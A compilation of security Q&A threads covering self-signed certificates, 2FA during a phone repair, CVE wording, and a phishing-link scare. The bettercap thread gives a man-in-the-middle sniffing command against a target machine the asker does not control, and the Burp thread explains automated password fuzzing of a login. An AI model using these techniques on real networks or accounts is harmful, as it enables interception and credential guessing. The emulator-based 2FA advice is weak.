Signatures only ensure that the certificate was verified by an trustworthy authority and that clients can verify the signature by using the issuer's public key obtained from a different channel. But the public key of a self-signed certificate comes from the certificate itself. The signing seems redundant, no?

A certificate is a kind of envelope that contains a public key, some attributes defined for what purposes this certificate can be used, and the signature of the issuer.

Without signature there is no certificate. If you don't sign certificate, it is not certificate. You cannot add a plain public key to the trust store, you can only add a certificate.

What key you use, does not matter. You can generate a fresh key pair, generate a certificate for public key and sign it using the private key of this pair. Self-signed mean that the certificate is signed by the private key that matches the public key contained in this certificate.


How can I maintain my two factor authentication when my phone is in for repairs? I recently got a new phone that has various hardware issues with it. As such, before the warranty expires, I need to send it back for repairs. Unfortunately, I already have Google Authenticator authenticating many accounts that I do not want to lose access to while my phone is being repaired.

I have securely stored backup codes for all of these accounts, but those are to be used only if I permanently lose access to my primary authentication device. Using them while my phone is being repaired risks running out of codes, which will result in me permanently having no way to login after that because I intend to fully wipe my phone before giving it up (especially since the repair people are most likely to simply replace it). Stopping myself before I fully run out of codes will result in temporary depletion, which is also a problem.

I have no other mobile device to use in its place (mobile device meaning a device running Andrid or IOS), however I have several computers (both multiple laptops and multiple desktops). As such, I am thinking the least-bad solution would be to run Google Authenticator on my Linux Laptop that I carry with me most often, but this is not an ideal solution to me because that laptop is my primary computer, and one of the advantages of 2FA is that it can defend against certain attacks that compromise one's main computer, such as a keylogger. With that said, however, a valid answer provides a specific way to run Google Authenticator on a (Arch) Linux laptop.

How can I fully maintain my security while my phone is being repaired?

Consider using an emulator such as BlueStacks and move your 2FA to the emulator. You don't need another device for this since BlueStacks is free.

There's also a chrome extension called Authy as stated by user in the comments to this answer.


Use bettercap to sniff traffic going through a proxy configured in the browser? Using bettercap, how can I intercept traffic which goes to a proxy server which is configured in browser?

With no proxy configured it is working fine. But as soon as a proxy is set in the browser connection settings, bettercap is unable to see traffic. I guess this is normal since with proxy traffic is going to the proxy server rather than the gateway.

Is it possible in such a setup to intercept traffic with bettercap? Is there any other way to achieve the same without bettercap?

bettercap -T 192.168.1.5 --proxy -P POST

User IP: 192.168.1.5/24, G/w 192.168.1.1
Proxy Server IP: 172.27.0.50
Kali Linux (running bettercap): 192.168.1.10/24, G/w 192.168.1.1

My question is more towards topological scenario..and how to overcome that.? Bettercap is working perfectly.

I'm using this command.

bettercap -T x.x.x.x --proxy -P

and getting this output

[E] You're using bettercap as a normal HTTP(S) proxy, it wasn't designed to handle CONNECT requests:

CONNECT sam.msn.com:443 HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive
Content-Length: 0
Host: sam.msn.com
Pragma: no-cache

my target is using IE 11 with on Windows 7 with proxy configured.

Proxy is on y.y.y.y:80

target machine is not multi-homed. All its traffic is passing through the gateway only.

I don't have any access to target machine.

You will have to ask yourself how bettercap can get a hold of traffic.

You mention three distinct machines in your scenario:

  User IP: 192.168.1.5/24, G/w 192.168.1.1
  Proxy Server IP: 172.27.0.50
  Kali Linux (running bettercap): 192.168.1.10/24, G/w 192.168.1.1

But in order to better understand what's going on, you need to clear that there is another machine here, so the list would be:

User IP: 192.168.1.5/24,
Kali Linux (running bettercap): 192.168.1.10/24
Gateway-Machine: 192.168.1.1
Proxy Server IP: 172.27.0.50

Obviously, your proxy server sits on an entirely different network segment than your other three machines.

Question: Is that some in-house proxy or is the proxy possibly provided by your ISP?

In case it is an inhouse proxy, it can be reached from the User machine 192.168.1.5 either through the default gateway 192.168.1.1 or there must be a separate route defined to that network.

You are not saying what OS your User machine is running, but try some commands along the lines of

traceroute 172.27.0.50

or

ip route show

to understand which way traffic to your proxy server takes. This will possibly help you understand how or why not you can eavesdrop the traffic.

Another question:

Might it be the case that your User machine is multi-homed, i.e. it has multiple network interfaces, one connected to the 192.168.1.1/24 network and another one connected to the 172.x.x.x network? That would be a perfect explaination.

Otherwise if there are no special routes and all traffic passes through 192.168.1.1 either with or without proxy, there is no good reason why you would see the traffic in once case and not see it in the other. Unless you have any filters set you forgot to tell us about, so make sure you sniff all traffic originating from or going to 192.168.1.5 on all ports!


In the context of a CVE, what does "unspecified vectors" mean? Let's take this CVE for example: http://www.cvedetails.com/cve/CVE-2014-9283/

  obtain administrative access via unspecified vectors.

What unspecified vectors means ?

I saw this term in a a lot of CVE.

Does this mean via unspecified factors ? (In the sense that they don't wanna give too much details about it so people can't exploit it easily?)

PS: This is purely for educational purposes.

An attack vector is a path or means by which an attacker can gain access to a computer or network server in order to deliver a payload or malicious outcome. When it's not specified, it simply means that probably there is a way, but no-one has found one or the vendor does not want the vector to be disclosed yet.


How to use Burp macros to pass parameters to intruder My issue is that I am attempting to fuzz a 2 stage login for a custom webapp.

What I need to do is GET for the initial page which will provide me with an anti-csrf token and a sessionID.

From there I POST a username who's response will provide me with another token

That second token will be used in the final POST along with the anti-csrf token and sessionID to submit the password to the server. The username is only linked to the second POST through the second token which is tracked at each login attempt so a new one is required at each login attempt.

Ideally I would like to fuzz both POST's in a chain using intruder, but will settle for a macro chain that will allow parameters from the GET and first POST to be passed to intruder at which point the password field will be fuzzed and submitted to the server.

I've done some research on burp macros and it seems like it should be possible, although unorthodox for their normal use. The issue I'm having is with the extraction and passing of the parameters to intruder.

Any help would be greatly appreciated, thank you.

This can normally done by macros and session handling rules. As I understand it you have three requests:

Fetch CSRF token
Post user name
Post password

The first step is to reproduce these in your browser, with Burp configured as a proxy.

Then create a Macro with requests 1 and 2. In the Macro Editor, select request 2, and click Configure Item. If the CSRF token is a hidden field, it should have automatically detected this, and in Parameter handling you will see something like "csrf_token - derive from prior response". If not - you may need to configure this manually. You may need to do Configure Item on request 1, and define a custom parameter location. You can then use Test Macro to confirm this is working.

Next, create a Session Handling Rule. Set the scope to cover the URL and path for request 3. Add an action that is Run a Macro, select your macro, and leave this option enabled: "Update current request with parameters matched from final macro response".

Then send request 3 to Repeater. When you click Go, the macro will run, and you should see your request be updated with new token values. If not - use session tracer to work out what is going wrong.

Once it's working in Repeater you can use other tools like Intruder, Scanner, etc.

Your idea about fuzzing both requests in a chain is interesting. I can't think of an easy way to do it, but that would be an interesting extension to write.


Mindlessly clicked days old phishing email link appeared dead Was multitasking and mindlessly clicked Squarespace phishing email. Page didn't load, and right away I realized my mistake. Completed several malware scans which came back clean. The button link source was https://sqwe7.com/.

The domain was registered on Aug 8, I got the email Aug 9, but didn't click till Aug 11. The domain is no longer active.

Did my getting to the email late save me? I searched but can't find any other history on the domain other than it being tagged as phishing Aug 9. Couldn't find any other links when inspecting the source of the link, unless I am missing something, which is very possible.

You're fine,

Just clicking the link will have been harmless if the page didn't load. As long as you don't download/install something or enter personal details on sites like that you've little to worry about.